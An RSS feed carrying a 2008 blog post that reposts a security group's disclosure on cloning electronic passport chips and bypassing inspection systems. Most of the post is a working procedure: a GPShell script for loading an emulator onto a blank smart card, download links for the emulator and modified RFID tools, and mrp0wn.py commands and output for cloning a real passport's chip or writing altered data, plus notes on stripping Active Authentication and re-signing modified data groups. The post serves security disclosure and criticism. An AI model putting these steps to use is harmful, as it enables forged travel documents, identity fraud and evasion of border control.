<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Blog of an Egyptian Songbird &#187; Security</title>
	<atom:link href="http://blog.twinklesprings.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.twinklesprings.com</link>
	<description>A translation of my mind's short circuits.</description>
	<lastBuildDate>Thu, 05 Mar 2009 20:57:09 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Cloning ePassports &#8211; Bypassing Airport Security</title>
		<link>http://blog.twinklesprings.com/2008/10/02/cloning-epassports-bypassing-airport-security/</link>
		<comments>http://blog.twinklesprings.com/2008/10/02/cloning-epassports-bypassing-airport-security/#comments</comments>
		<pubDate>Thu, 02 Oct 2008 13:55:27 +0000</pubDate>
		<dc:creator>Shadi Almosri</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://blog.twinklesprings.com/?p=109</guid>
		<description><![CDATA[The government plans to use ePassports at Immigration and Border
Control. The information is electronically read from the Passport
and displayed to a Border Control Officer or used by an automated
setup. THC has discovered weaknesses in the system to (by)pass the
security checks. The detection of fake passport chips does not
work. Test setups do not raise alerts when a modified chip
is used. This enables an attacker to create a Passport with an
altered Picture, Name, DoB, Nationality and other credentials]]></description>
			<content:encoded><![CDATA[<p><strong>The government plans to use ePassports at Immigration and Border<br />
Control. The information is electronically read from the Passport<br />
and displayed to a Border Control Officer or used by an automated<br />
setup. THC has discovered weaknesses in the system to (by)pass the<br />
security checks. The detection of fake passport chips does not<br />
work. Test setups do not raise alerts when a modified chip<br />
is used. This enables an attacker to create a Passport with an<br />
altered Picture, Name, DoB, Nationality and other credentials.</strong></p>
<p><strong>The manipulated information is displayed without any alarms going off.<br />
The exploitation of this loophole is trivial and can be verified using<br />
thc-epassport.</strong></p>
<p><strong>Regardless how good the intention of the government might have been, the<br />
facts are that tested implementations of the ePassports Inspection System<br />
are not secure.</strong></p>
<p><strong>ePassports give us a false sense of security: We are made to believe<br />
that they make usemore secure. I&#8217;m afraid that&#8217;s not true: current<br />
ePassport implementations don&#8217;t add security at all.<br />
</strong></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="326" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="id" value="VideoPlayback" /><param name="src" value="http://video.google.com/googleplayer.swf?docid=-3185369830560352967&amp;hl=en&amp;fs=true" /><embed id="VideoPlayback" type="application/x-shockwave-flash" width="400" height="326" src="http://video.google.com/googleplayer.swf?docid=-3185369830560352967&amp;hl=en&amp;fs=true"></embed></object></p>
<p>Thanks to Elv1s for beta testing!</p>
<p>Just follow two easy steps:</p>
<p><strong>(1) Upload the emulator code to a blank JCOP v4.1 72k smart card</strong><br />
Use your favorite tool to upload the <a href="http://freeworld.thc.org/thc-epassport/thc-epassport_emulator.zip">CAP file</a>. As an example <a href="http://sourceforge.net/project/showfiles.php?group_id=143343">GPShell</a> is<br />
used. The script used to upload the CAP file:</p>
<pre>P:\GPShell-1.4.2&gt;type epassport.script
mode_211
enable_trace
establish_context
card_connect -readerNumber 3
select -AID a000000003000000
open_sc -security 1 -keyind 0 -keyver 0 -mac_key 404142434445464748494a4b4c4d4e4
f -enc_key 404142434445464748494a4b4c4d4e4f
delete -AID A0000002471001
delete -AID A00000024710
install -file epassport.cap -priv 00 -AID A0000002471001 -pkgAID A00000024710
card_disconnect
release_context</pre>
<p>A sample output of an actual upload:</p>
<pre>P:\GPShell-1.4.2&gt;GPShell.exe epassport.script
mode_211
enable_trace
establish_context
card_connect -readerNumber 3
* reader name OMNIKEY CardMan 5x21-CL 0
select -AID a000000003000000
Command --&gt; 00A4040008A000000003000000
Wrapped command --&gt; 00A4040008A000000003000000
Response &lt;-- 6F108408A000000003000000A5049F6501FF9000
..
..
..
Wrapped command --&gt; 84E60C002506A0000002471007A000000247100107A00000024710010100
02C90000B918E8E43A25117700
Response &lt;-- 9000
card_disconnect
release_context</pre>
<p>The CAP file currently supports the following files:<br />
* EF.COM :   256 bytes (required file)<br />
* EF.SOD :  2560 bytes (required file)<br />
* EF.DG1 :   128 bytes (required file)<br />
* EF.DG2 : 24576 bytes (required file)<br />
* EF.DG3 : 20480 bytes (optional, future use)<br />
* EF.DG11:   128 bytes (optional, e.g. USA)<br />
* EF.DG12:   128 bytes (optional, e.g. USA)<br />
* EF.DG13:    64 bytes (optional, e.g. Japan)<br />
* EF.DG15:   256 bytes (optional, e.g. The Netherlands)</p>
<p>If you need support of other DGs, please let vonJeek know.</p>
<p><strong>(2a) Clone the chip</strong>Using a <a href="http://freeworld.thc.org/thc-epassport/thc-rfidiot.zip">customized THC version</a> of Adam Laurie&#8217;s <a href="http://rfidiot.org/">RFIDIOt</a> tools, you&#8217;re able<br />
to read a chip&#8217;s content and to write it to an emulator.</p>
<p>P:\RFIDIOt-vonjeek&gt;mrp0wn.py CLONE M3V0NJ33K000000999999</p>
<pre>===============================================================================
= mrp0wn.py, an RFIDIOt ePassport utility by vonJeek  =
= Use Jeroen van Beek's ePassport emulator as the target device.              =
===============================================================================
Put a ePassport near the terminal and press enter to continue...
Reading document using KEY M3V0NJ33K000000999999, please be patient...
Put the emulator near the terminal and press enter to continue...
Writing new ePassport using files in /tmp.
Writing /tmp/EF_COM.BIN: 0 bytes left...
Writing /tmp/EF_SOD.BIN: 0 bytes left...
Writing /tmp/EF_DG1.BIN: 0 bytes left...
Writing /tmp/EF_DG2.BIN: 0 bytes left...
Setting the secret key to M3V0NJ33K200000009999998.
Done, happy mrp0wning <img src='http://blog.twinklesprings.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> 

Use the following command to read the chip:
./mrpkey.py "M3V0NJ33Kxxxx000000xx999999xxxxxxxxxxxxxxxxx"</pre>
<p>If your chip is protected using the optional Active Authentication mechanism,<br />
the Active Authentication data group (DG15, tag 0&#215;6F) is removed from EF.COM<br />
as demonstrated by <a href="https://www.blackhat.com/presentations/bh-usa-08/van_Beek/bh_us_08_van_Beek_ePassports_Reloaded_Slides.pdf">Jeroen van Beek at the 2008 USA BlackHat Briefings</a>. Note<br />
that mrp0wn.py&#8217;s parameter &#8216;STRIP_AA&#8217; must be set to the value &#8216;True&#8217;. This<br />
attack will work on all inspection system implementations that are using e.g.</p>
<p><a href="http://www.csca-si.gov.si/TR-PKI_mrtds_ICC_read-only_access_v1_1.pdf#page=47">ICAO&#8217;s &#8220;worked examples&#8221;</a>, see <a href="https://www.os3.nl/2008-2009/epassport_eng">this site</a> for more info on that.<br />
<img src="http://freeworld.thc.org/thc-epassport/ef_com.png" alt="" /></p>
<p><strong>(2b) Write saved data</strong></p>
<p>It&#8217;s also possible to write chip data you&#8217;ve saved earlier using RFIDIOt&#8217;s</p>
<p>mrpkey.py. As an example you can use <a href="http://freeworld.thc.org/thc-epassport/vonjeek-epassport_dump.zip">vonJeek&#8217;s ePassport data</a>. Note that</p>
<p>this data is self-signed: vonJeek started his own country <img src='http://blog.twinklesprings.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>P:\tmp&gt;unzip vonjeek-epassport_dump.zip</p>
<pre>Archive:  vonjeek-epassport_dump.zip
 extracting: EF_COM.BIN
  inflating: EF_DG2.BIN
  inflating: EF_DG1.BIN
 extracting: EF_SOD.BIN	

P:\&gt;cd \RFIDIOt-vonjeek	

P:\RFIDIOt-vonjeek&gt;mrp0wn.py WRITE /tmp

===============================================================================
= mrp0wn.py, an RFIDIOt ePassport utility by vonJeek  =
= Use Jeroen van Beek's ePassport emulator as the target device.              =
===============================================================================
Document type is PASSPORT.
Put the emulator near the terminal and press enter to continue...
Writing new ePassport using files in /tmp.
Writing /tmp/EF_COM.BIN: 0 bytes left...
Writing /tmp/EF_SOD.BIN: 0 bytes left...
Writing /tmp/EF_DG1.BIN: 0 bytes left...
Writing /tmp/EF_DG2.BIN: 0 bytes left...
Setting the secret key to M3V0NJ33K200000009999998.
Done, happy mrp0wning <img src='http://blog.twinklesprings.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> 

Use the following command to read the chip:
./mrpkey.py "M3V0NJ33Kxxxx000000xx999999xxxxxxxxxxxxxxxxx"</pre>
<p>You can also alter data before writing it to an emulator chip. If you want<br />
to do that: <a href="http://www.europeanbiometrics.info/images/resources/22_965_file.pdf">this</a> document contains details about &#8211; amongst others &#8211; DG1 and<br />
DG2 encoding. If you&#8217;ve updated the DGs you can sign them using Peter<br />
Gutmann&#8217;s <a href="http://www.cs.auckland.ac.nz/%7Epgut001/cryptlib/">CryptLib</a>.</p>
<p>A read-out of vonJeek&#8217;s ePassport chip using the reference implementationnamed <a href="http://www.secunet.com/berlin/request.php">Golden Reader Tool</a> can be seen below.<br />
<img src="http://freeworld.thc.org/thc-epassport/epass-vonjeek.png" alt="" /><br />
If you&#8217;re interested in ePassport related PKI (how to verify whether chip<br />
content is signed by a bonafide authority?) please check the following URLs:</p>
<p>* <a href="http://www2.icao.int/en/MRTD/Pages/icaoPKD.aspx">http://www2.icao.int/en/MRTD/Pages/icaoPKD.aspx<br />
</a>* <a href="http://www.icao.int/icao/en/atb/meetings/2008/TagMRTD18/TagMrtd18_ip04.pdf">http://www.icao.int/icao/en/atb/meetings/2008/TagMRTD18/TagMrtd18_ip04.pdf<br />
</a>* <a href="http://www.csca-si.gov.si/TR-PKI_mrtds_ICC_read-only_access_v1_1.pdf#page=12">http://www.csca-si.gov.si/TR-PKI_mrtds_ICC_read-only_access_v1_1.pdf<br />
</a>* <a href="http://www.timesonline.co.uk/tol/news/uk/crime/article4467106.ece">http://www.timesonline.co.uk/tol/news/uk/crime/article4467106.ece<br />
</a>* <a href="http://www.timesonline.co.uk/tol/news/uk/crime/article4467098.ece">http://www.timesonline.co.uk/tol/news/uk/crime/article4467098.ece</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.twinklesprings.com/2008/10/02/cloning-epassports-bypassing-airport-security/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
